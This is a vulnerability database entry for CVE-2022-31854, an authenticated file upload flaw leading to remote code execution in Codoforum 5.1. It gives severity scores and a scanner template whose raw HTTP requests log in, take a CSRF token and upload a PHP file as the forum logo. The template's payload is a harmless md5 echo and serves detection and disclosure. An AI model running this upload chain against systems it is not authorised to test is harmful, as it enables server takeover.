6.5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
7.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
0.297 Low
EPSS
Percentile
97.0%
Codoforum 5.1 contains an arbitrary file upload vulnerability via the logo change option in the admin panel. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code. As a result, an attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
id: CVE-2022-31854
info:
name: Codoforum 5.1 - Arbitrary File Upload
author: theamanrawat
severity: high
description: |
Codoforum 5.1 contains an arbitrary file upload vulnerability via the logo change option in the admin panel. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code. As a result, an attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected system.
remediation: |
Apply the latest security patch or upgrade to a patched version of Codoforum.
reference:
- https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.5.1.zip
- https://codoforum.com
- https://vikaran101.medium.com/codoforum-v5-1-authenticated-rce-my-first-cve-f49e19b8bc
- https://nvd.nist.gov/vuln/detail/CVE-2022-31854
- https://github.com/trhacknon/Pocingit
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2022-31854
cwe-id: CWE-434
epss-score: 0.26245
epss-percentile: 0.96727
cpe: cpe:2.3:a:codologic:codoforum:5.1:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: codologic
product: codoforum
tags: cve,cve2022,rce,codoforumrce,authenticated,intrusive,codologic
http:
- raw:
- |
POST /admin/?page=login HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryACGPpj7UIqmtLNbB
------WebKitFormBoundaryACGPpj7UIqmtLNbB
Content-Disposition: form-data; name="username"
{{username}}
------WebKitFormBoundaryACGPpj7UIqmtLNbB
Content-Disposition: form-data; name="password"
{{password}}
------WebKitFormBoundaryACGPpj7UIqmtLNbB--
- |
GET /admin/index.php?page=config HTTP/1.1
Host: {{Hostname}}
- |
POST /admin/index.php?page=config HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoLtdjuqj2ixPvBhA
------WebKitFormBoundaryoLtdjuqj2ixPvBhA
Content-Disposition: form-data; name="site_title"
------WebKitFormBoundaryoLtdjuqj2ixPvBhA
Content-Disposition: form-data; name="forum_logo"; filename="{{randstr}}.php"
Content-Type: application/x-httpd-php
<?php
echo md5('CVE-2022-31854');
?>
------WebKitFormBoundaryoLtdjuqj2ixPvBhA
Content-Disposition: form-data; name="CSRF_token"
{{csrf}}
------WebKitFormBoundaryoLtdjuqj2ixPvBhA--
- |
GET /sites/default/assets/img/attachments/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code_4 == 200
- contains(content_type_4, "text/html")
- contains(body_4, "a63fd49130de6406a66600cd8caa162f")
condition: and
extractors:
- type: regex
name: csrf
group: 1
regex:
- name="CSRF_token" value="([0-9a-zA-Z]+)"/>
internal: true
# digest: 4a0a0047304502203b7aff62a84e4d74dfe0abefbe9ee6103c0ad1dc7a970a049eb98aa5d5841e53022100b8e80b19776099cfc3452a641dd41a3d64f1e5b6636842044c2d6628ec9a32e3:922c64590222798bb761d5b6d8e72950
6.5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
7.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
0.297 Low
EPSS
Percentile
97.0%